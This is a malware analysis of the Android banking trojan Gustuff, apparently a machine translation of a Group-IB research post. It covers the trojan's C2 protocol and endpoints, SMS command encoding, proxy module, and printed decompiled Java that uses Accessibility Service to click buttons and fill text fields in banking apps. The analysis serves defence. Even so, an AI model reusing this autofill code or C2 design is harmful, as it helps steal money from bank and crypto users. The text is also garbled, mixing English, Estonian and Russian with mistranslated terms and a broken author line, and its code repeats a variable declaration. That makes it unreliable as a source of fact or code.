Kuidas Androidi troojal Gustuff korjab teie kontode (fiat ja krüpto) vilju.

Just a few days ago, Group-IB reported on the activity of the mobile Android Trojan Gustuff. It operates exclusively in international markets, targeting clients of the 100 largest foreign banks, users of 32 mobile cryptocurrency wallets, as well as large e-commerce platforms. The developer of Gustuff is a Russian-speaking cybercriminal under the nickname Bestoffer. Recently, he glorified his Trojan as a 'serious product for people with knowledge and experience.'

A malware analysis specialist from Group-IB Ivan Pisarjev detailed in his research how Gustuff operates and what dangers it poses.

Who is Gustuff hunting

Gustuff belongs to a new generation of malware with fully automated functions. According to the developer, the Trojan has become a new improved version of the malware AndyBot, which has been attacking Android phones since November 2017 and stealing money through phishing web forms disguised as mobile applications of well-known international banks and payment systems. Bestoffer reported that the rental price for the 'Gustuff Bot' was $800 per month.

Gustuffi analüüs näitas, et potentsiaalselt on troojani sihtmärgiks suurte pankade mobiilirakenduste kasutajad, nagu Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samuti Bitcoin Wallet, BitPay, Cryptopay, Coinbase ja teised krüptorahakotid.

Alguses klassikalise pangatroojana loodud Gustuff on oma praeguses versioonis oluliselt laiendanud potentsiaalsete rünnakuobjektide nimekirja. Lisaks panganduse, fintech-ettevõtete ja krüptoteenuste Android-rakendustele on Gustuff sihtmärgiks ka turuplatvormide, veebipoodide, maksesüsteemide ja sõnumirakenduste kasutajad. Sealhulgas PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ja teised.

Sisenemispunkt: massilise nakatumise eeldamine

Gustuff'i iseloomustab «klassikaline» sissetungimistaktika Android-smartfonidesse SMS-sõnumite kaudu, mis sisaldavad linke APK-failidele. Kui Android-seade nakatub troojanojaga, võib serveri käsu peale juhtuda Gustuff'i edasine levik nakatunud telefoni kontaktide hulgas või serveri andmebaasis. Gustuff'i funktsionaalsus on suunatud massilisele nakatumisele ja oma operaatorite äri maksimeerimisele – selles on ainulaadne funktsioon «autotäide», mis siseneb legitiimsetesse mobiilsetesse pangarakendustesse ja krüptorahakottidesse, võimaldades kiiresti ja ulatuslikult raha varastada.

Troojani uurimine näitas, et autotäite funktsioon on rakendatud tänu Accessibility Service'ile — teenusele inimeste jaoks, kellel on liikumispiirangud. Gustuff ei ole esimene troojan, mis suudab tõhusalt ületada kaitset, mis takistab teiste rakenduste akende elementidega suhtlemist, kasutades seda Androidi teenust. Siiski jääb Accessibility Service'i kasutamine koos autotäide funktsiooniga siiani üsna harvaks nähtuseks.

Pärast Gustuffi ohvri telefonile laadimist, kasutades Accessibility Service'i, saab see võimaluse suhelda teiste rakenduste (pankade, krüptovaluutade ning online-ostlemise, sõnumite saatmise jms) akende elementidega, tehes vajalikud toimingud kurjategijate jaoks. Näiteks serveri käskluse järgi suudab trooja vajutada nuppe ja muuta pangarakendustes tekstiväljade väärtusi. Accessibility Service'i mehhanismi kasutamine võimaldab troojal mööda minna kaitsemehhanismidest, mida pangad rakendavad eelneva põlvkonna mobiiltroojade vastu, samuti muudatustest turvapoliitikas, mille Google on uusimates Androidi opsüsteemi versioonides rakendanud. Nii suudab Gustuff "välja lülitada" Google Protecti kaitset: autori kinnituste kohaselt töötab see funktsioon 70% juhtudest.

Gustuff võib näidata vale PUSH-teavitusi, mille ikonid matkivad legaalseid mobiilirakendusi. Kasutaja klikib PUSH-teavitusele ja näeb serverist laetud phishing-akent, kuhu ta ise sisestab nõutud pangakaardi või krüptorahakoti andmed. Teises Gustuff’i tööstsenaariumis avatakse rakendus, mille nime alt PUSH-teavitus näidati. Sellisel juhul võib pahavara serveri käsul Accessibility Service’i kaudu täita pangarakenduse vormiväljad petlikuks tehinguks.

Gustuff’i funktsioonide hulka kuulub samuti teabe saatmine serverisse nakatunud seadme kohta, SMS-sõnumite lugemise/saatmise võimalus, USSD-päringute saadetamine, SOCKS5 Proxy käivitamine, lingile minemine, failide (sealhulgas dokumentide, ekraanipiltide, fotode) saatmine serverisse, seadme taastamine algsete seadete juurde.

Pahavara analüüs

Enne pahavara rakenduse installimist kuvab Androidi operatsioonisüsteem kasutajale akna, mis sisaldab loetelu Gustuff’i poolt nõutud õigustest:

Rakenduse installatsioon toimub alles pärast kasutaja nõusoleku saamist. Pärast rakenduse käivitamist kuvab troojanhobuses kasutajale akna:

Pärast seda eemaldab see oma ikooni.

Gustuff on pakitud, autori sõnul, FTT pakendaja poolt. Pärast käivitamist pöördub rakendus perioodiliselt CnC-serveri poole, et saada käske. Meie uuritud failides kasutati juhtimisseervereina IP-aadressi 88.99.171[.]105 (edasi nimetame seda <%CnC%>).

Pärast käivitamist hakkab programm saatma sõnumeid serverile http:///api/v1/get.php.

Oodatav vastus on JSON järgmises formaadis:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

Iga päringu korral saadab rakendus teavet nakatunud seadme kohta. Sõnumi formaat on esitatud allpool. Tasub märkida, et väljad full, extra, rakendused ja permission on valikulised ja saadetakse ainult CnC-päringu korral.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfiguratsioonide andmete salvestamine

Gustuff salvestab taotlemiseks vajaliku teabe preference-failis. Faili nimi ja selles olevate parameetrite nimed on MD5-reefid, mis on saadud stringist 15413090667214.6.1, kus <%name%> — algne nimi-väärtus. Python'i tõlgendamise funktsiooni genereerimise nimi:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Edasi tähistame kui nameGenerator(input).
Seega, esimese faili nimi: nameGenerator(«API_SERVER_LIST»), see sisaldab väärtusi järgmiste nimedega:

Käskude töötlusmoodul serverist

Rakendus salvestab CnC-serverite aadresse koostatud massiivina, mis on kodeeritud Base85 stringides. CnC loetelu – serverite võib muutuda vastusena vastavale käsule, sel juhul salvestatakse aadressid preference-failis.

Server saadab rakendusele käsu vastusena päringule. Tuleb märkida, et käsud ja parameetrid on esitatud JSON-formaadis. Rakendus suudab töödelda järgmisi käske:

Käskude formaat notification:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Teatis, mille loob uuritav fail, näeb välja identne rakenduse poolt loodud teadetega, mis on näidatud väljal app. Kui välja väärtus openApp — True, rakenduse käivitamine, mis on määratud väljal, käivitub teadet avades, app. Kui välja väärtus openApp — False, siis:

• avatakse petturlik aken, mille sisu laaditakse kaustast /hgps/
• avatakse petturlik aken, mille sisu laaditakse serverist ?id=&app=
• avaneb phishing aken, mis varjatakse Google Play kaardi all, kus saab sisestada kaardi andmeid.

Iga käsu täitmise tulemuse saadab rakendus set_state.php JSON objekti kujul järgmises formaadis:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
Rakenduse poolt töödeldavate käskude nimekirja kuuluvad action. Kui käsk on saadetud, pöördub käskude töötlemise moodul selle teenuse poole, et täita laiendatud käsku. Teenus aktsepteerib JSON objekti parameetrina. Teenus suudab täita järgmisi käske:

1. PARAMS_ACTION — kui selline käsk on saadud, tõmbab teenus kõigepealt JSON parameetrilt välja väärtuse võtme Type järgi, mis võib olla järgmine:

• serviceInfo – alamkäsk tõmbab JSON parameetrilt väärtuse võtme järgi includeNotImportant. Kui lipp on tõene — rakendus seab FLAG_ISOLATED_PROCESS teenusele, mis kasutab Accessibility Service'i. Seega käivitatakse teenus eraldi protsessis.
• root — teavitada ja saata serverisse teavet aknast, mis on praegu fookuses. Rakendus saab teabe AccessibilityNodeInfo klassi abil.
• admin — taotleda administraatori õigusi.
• viivitus — peatada ActionsService töö määratud millisekundite arvuks, nagu on määratletud parameetris 'data'.
• windows — saata loetelu kasutajale nähtavatest aknadest.
• install — installida rakendus nakatunud seadmesse. Paketi nimi — arhiivi määratleb 'fileName' võti. Ise arhiiv asub Downloads kaustas.
• globaalne – alammeeskond, mis on mõeldud liikumiseks praegusest aknast:
  • kiire seadetemenüü
  • tagasi
  • avaleht
  • teatiste juurde
  • hiljuti avatud rakenduste aknasse

• käivitama — rakenduse käivitamine. Rakenduse nimi tuleb parameetritena. data.
• helid — muuta helirežiim vaikseks.
• avama — valgustada ekraani ja klaviatuuri täieliku heleduseni. Rakendus teostab selle tegevuse WakeLock abil, märkides sildi 'Application label':INFO.
• permissionOverlay — funktsiooni ei ole rakendatud (vastus käsu täitmisele — {"message":"Not support"} või {"message":"low sdk"})
• žest — funktsioon pole rakendatud (käskluse täitmise vastus — {„message”:„Not support”} või {„message”:„Low API”})
• permissions — see käsk on vajalik õiguste taotlemiseks rakendusele. Kuid taotluse funktsioon ei ole rakendatud, seega käsk ei ole mõttekas. Taotletav õiguste loetelu tuleb JSON-massiivina võtmega „permissions”. Tüüpiline loetelu:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• open — kuvada häkkeriaken. Sõltuvalt serverist saadud parameetrist võib rakendus kuvada järgmisi häkkeriaknaid:
  • Kuvada häkkeriaken, mille sisu on määratud failis aadressil <%external directory%>/hgps/<%param_filename%>. Kasutaja interaktsiooni tulemus aknaga saadetakse aadressile <%CnC%>/records.php
  • Kuvada häkkeriaken, mille sisu eelnevalt laaditakse aadressilt <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Kasutaja interaktsiooni tulemus aknaga saadetakse aadressile <%CnC%>/records.php
  • Kuvada häkkeriaken, mis on maskeeritud Google Play Cardi alla.

• interactive — meeskond on mõeldud suhtlemiseks teiste rakenduste akende elementidega AcessibilityService'i abil. Suhtlemiseks on rakenduses rakendatud spetsiaalne teenus. Uuritud rakendus võib suhelda järgmiste akendega:
  • Aktsepteeritav hetkel. Sel juhul parameeter sisaldab objekti id-d või teksti (nimetust), millega tuleb suhelda.
  • Kasutajale nähtavad hetkel käsu täitmise ajal. Rakendus valib aknad id põhjal.

  Saades objektid AccessibilityNodeInfo huvipakkuvate akna elementide jaoks, võib rakendus sõltuvalt parameetritest teostada järgmisi toiminguid:

  • focus — seadistada fookus objektile.
  • click — klikkida objektil.
  • actionId — teostada toiming ID järgi.
  • setText — muuta objekti tekst. Teksti muutmine on võimalik kahesuguste viisidega: teostades toimingu ACTION_SET_TEXT (kui nakatunud seadme Androidi versioon on varem või võrdne LOLLIPOP), või paigutades lõikepuhvrisse teksti ja kleepides selle objekti (üksused kõrgemad versioonid). Seda käsku võib kasutada andmete muutmiseks pangarakenduses.

2. PARAMS_ACTIONS — sama mis PARAMS_ACTION, ainult et tuleb JSON-massiiv käskudega.

Tundub, et paljusid huvitab, kuidas näeb välja suhtlemise funktsioon teise rakenduse akende elementidega. Nii on see funktsioon Gustuff'is ellu viidud:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksti asendamise funktsioon:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Nii seega, kui Gustuffi juhtserver on õigesti seadistatud, suudab ta täita pangarakenduse tekstivälju ja vajutada vajalikke nuppe tehingu tegemiseks. Trojan ei pea isegi rakenduses sisselogimist läbima — piisab, kui saata käsk PUSH-teavituse demonstreerimiseks koos eelnevalt installitud pangarakenduse avamisega. Kasutaja läbib ise sisselogimise, pärast mida saab Gustuff automaatse täitmise teostada.

SMS-sõnumite töötlemise moodul

Rakendus loonib sündmuste käsitlejat nakatunud seadme SMS-sõnumite vastuvõtmiseks. Uuritud rakendus saab operaatorilt käske, mis saadetakse SMS-sõnumi kehas. Käsklus tuleb formaadis:

7!5=<%Base64 encoded command%>

Rakendus otsib kõigist saabuvatest SMS-sõnumitest stringi 7!5=, avastamise korral dekodeerib stringi Base64 formaati nihkega 4 ja täidab käsu. Käsud sarnanevad CnC-käskudega. Täitmise tulemused saadetakse sama numbri peale, kust käsk tuli. Vastuse formaat:

7*5=<%Base64 encode of «result_code command»%>

Valikuliselt võib rakendus saata kõik vastuvõetud sõnumid Root-numbrile. Selleks peab preference-failis olema märgitud Root-number ja seatud sõnumite ümbersuunamise lipp. SMS-sõnum saadetakse kurjategija numbrile formaadis:

—

Samuti võib rakendus valikuliselt saata sõnumeid CnC-le. SMS-sõnum saadetakse serverisse JSON-formaadis:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Kui lipp on seatud nameGenerator(«DEFAULT_APP_SMS») – rakendus peatab SMS-sõnumite töötlemise ja tühjendab sissetulevate sõnumite loendi.

Proxy-moodul

Uuritud rakenduses on olemas Backconnect Proxy moodul (edasi Proxy-moodul), mis sisaldab eraldi klassi, mis hõlmab staatilisi välju konfiguratsiooniga. Konfiguratsioonide andmed on näidikus avatud kujul:

Käik, mis toimingud, mis toimub Proxy-moodulis, logitakse failidesse. Selle jaoks loob rakendus External Storage-s kausta nimega "logs" (väli ProxyConfigClass.logsDir konfiguratsiooniklassis), kus hoiustatakse logifailid. Logimine toimub failidesse, mille nimed on:

1. main.txt – sellesse faili logitakse klassi nimega CommandServer töö. Edasi logimist järje str sellesse faili tähistame kui mainLog(str).
2. session-<%id%>.txt — sellesse faili salvestatakse logi andmed, mis on seotud konkreetse proxy sessiooniga. Edasi logimist järje str sellesse faili tähistame kui sessionLog(str).
3. server.txt – sellesse faili logitakse kõik andmed, mis salvestatakse ülaltoodud failidesse.

Logi andmete formaat:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Proxy-mooduli tööd käigus tekkivad erandid logitakse samuti faili. Selleks loob rakendus JSON-formaadis objekti:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Pärast seda konverteerib ta selle stringi esituseks ja logib.

Proxy-mooduli käivitamine toimub vastava käsu saabumisega. Kui käsu käivitada Proxy-mooduli rakendust, käivitab rakendus teenuse nimega MainService, mis vastutab Proxy-mooduli töö juhtimise eest – selle käivitamise ja peatamise eest.

Teenuse käivitamise etapid:

1. Käivitab aja, mis aktiveerub kord minutis ja kontrollib Proxy-mooduli aktiivsust. Kui moodul ei ole aktiivne – käivitab selle.
Samuti toimub sündmuse aktiveerimisel android.net.conn.CONNECTIVITY_CHANGE Proxy-mooduli käivitamine.

2. Rakendus loob wake-lock'i parameetriga PARTIAL_WAKE_LOCK ja omandab selle. Nii ei luba see seadme CPU-l magamisse minna.

3. Käivitab Proxy-mooduli käskude töötlemise klassi, logides eelnevalt rea mainLog("start server") ja

Server::start() host[], commandPort[], proxyPort[]

kus proxy_cnc, command_port ja proxy_port – parameetrid, mis saadakse Proxy-serveri konfiguratsioonist.

Käskude töötlemise klassi nimi on CommandConnection. Pärast käivitamist täidab see järgmised toimingud:

4. Ühendub ProxyConfigClass.host: ProxyConfigClass.commandPort ja saadab sinna andmed nakatunud seadme JSON-formaadis:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Kus:

• id – identifikaator, proovib saada Shared Preference failist nimega „x” väärtust, millel on väli „id”. Kui seda väärtust ei õnnestu saada, genereerib see uue. Seega on Proxy-moodulil oma identifikaator, mis genereeritakse samamoodi nagu Bot ID.
• imei — seadme IMEI. Kui väärtuse hankimise käigus tekkis viga, salvestatakse selle asemel teksti veateade.
• imsi — seadme rahvusvaheline mobiilse kasutaja identiteet. Kui väärtuse hankimise käigus tekkis viga, salvestatakse selle asemel teksti veateade.
• model — lõppkasutajale nähtav nimi lõpptootele.
• manufacturer — toote/riistvara tootja (Build.MANUFACTURER).
• androidVersion — string formaadis « (),»
• country — seadme praegune asukoht.
• partnerId – tühi string.
• packageName – paketi nimi.
• networkType — praeguse võrguühenduse tüüp (näiteks: «WIFI», «MOBILE»). Vigade korral tagastab null.
• hasGsmSupport – true – kui telefon toetab GSM-i, vastasel juhul false.
• simReady – SIM-kaardi olek.
• simCountry — ISO-kood riigist (SIM-kaardi teenusepakkuja alusel).
• networkOperator — operaatori nimi. Kui väärtuse hankimise käigus tekkis viga, salvestatakse selle asemel teksti veateade.
• simOperator — teenusepakkuja nimi (SPN). Kui väärtuse hankimise käigus tekkis viga, salvestatakse selle asemel teksti veateade.
• versioon — see väli salvestatakse konfigureerimise klassis, uuritavate boti versioonide puhul oli see «1.6».

5. Läheb ootesse serverilt käskude ootamiseks. Serverist tulevad käsud järgmises formaadis:

• 0 offset – käsk
• 1 offset – sessionId
• 2 offset – pikkus
• 4 offset — andmed

Käsu saabumisel logib rakendus:
mainLog(«Header { sessionId, type[], length[] }»)

Serverilt võivad tulla järgmised käsud:

PONG-sõnum koosneb 4 baitist ja näeb välja järgmiselt: 0x04000000.

Käsu connectionId (uue ühenduse loomise jaoks) saabumisel CommandConnection loob klassi eksemplari ProxyConnection.

• Proximise protsessis osaleb kaks klassi: ProxyConnection ja lõpp. Klasside loomisel ProxyConnection toimub ühendamine aadressiga ProxyConfigClass.host: ProxyConfigClass.proxyPort ja JSON-objekti edastamine:

 {
    "id":
}

Vastuseks saadab server SOCKS5-sõnumi, mis sisaldab eemaloleva serveri aadressi, kellega tuleb ühendus luua. Suhtlemine selle serveriga toimub klassi kaudu lõpp. Ühenduse loomist saab kujutleda järgmiselt:

Võrgusuhted

Kuna vältida liikluse analüüsi võrgupüüdurite poolt, saab CnC-serveri ja rakenduse vaheline suhtlus kaitsta SSL-protokolliga. Kõik edastatud andmed serverist ja serverisse esitatakse JSON-formaadis. Rakendus täidab oma töö käigus järgmisi päringuid:

• http:///api/v1/set_state.php — käsu täitmise tulemus.
• http:///api/v1/get.php — käsu saamine.
• http:///api/v1/load_sms.php — SMS-sõnumite allalaadimine nakatunud seadmel.
• http:///api/v1/load_ab.php — kontaktide nimekirja allalaadimine nakatunud seadmel.
• http:///api/v1/aevents.php – päring toimub, kui uuendatakse preference-failis olevaid parameetreid.
• http:///api/v1/set_card.php — andmete laadimine, mis on saadud phishing-aken, mis maskeerib end Google Play turuna.
• http:///api/v1/logs.php – logiandmete allalaadimine.
• http:///api/v1/records.php – andmete laadimine, mis on saadud phishing-akendega.
• http:///api/v1/set_error.php – teavitamine tekkinud tõrkest.

Soovitused

Kliendi kaitsmiseks mobiilsete troojanide ohu eest peavad ettevõtted kasutama kompleksseid lahendusi, mis võimaldavad jälgida ja hoiatada pahatahtlikest tegevustest ilma, et oleks vaja teistele seadmetele täiendavat tarkvara installida.

Selleks tuleb mobiilsete troojanite tuvastamise allkirja meetodeid tugevdada kliendi ja rakenduse käitumise analüüsi tehnoloogiatega. Samuti peaks kaitse sisaldama seadmete tuvastamise funktsiooni digitaalsete sõrmejälgede tehnoloogiat kasutades, mis võimaldab aru saada, kui konto on kasutusel ebatavalikult seadmel ja on juba kätel petturi.

Oluline aspekt on võimalus k_cross-канal анализа, mis annab ettevõtetele võimaluse kontrollida riske, mis tekivad mitte ainult Interneti-, vaid ka mobiilikanali poolel, nagu näiteks mobiilipankade rakendustes, krüptovaluutade tehingutes ja mujal, kus võivad toimuda rahatehingud.

Kasutajate turvareeglid:

• ärge installige Android-operatsioonisüsteemiga mobiilirakendusi mistahes allikatest, välja arvatud Google Play, ning olge tähelepanelik rakenduse nõutud õiguste suhtes;
• installige regulaarselt Android-operatsioonisüsteemi värskendusi;
• pöörake tähelepanu allalaaditavate failide laiendustele;
• ärge külastage kahtlasi ressursse;
• ärge klikkige SMS-s sõnumites saadud linkidel.

Osaledes Rogacheva seemned, noorem pahavara uurimise spetsialist Group-IB arvutite kiirguse laborist.

Allikas: habr.com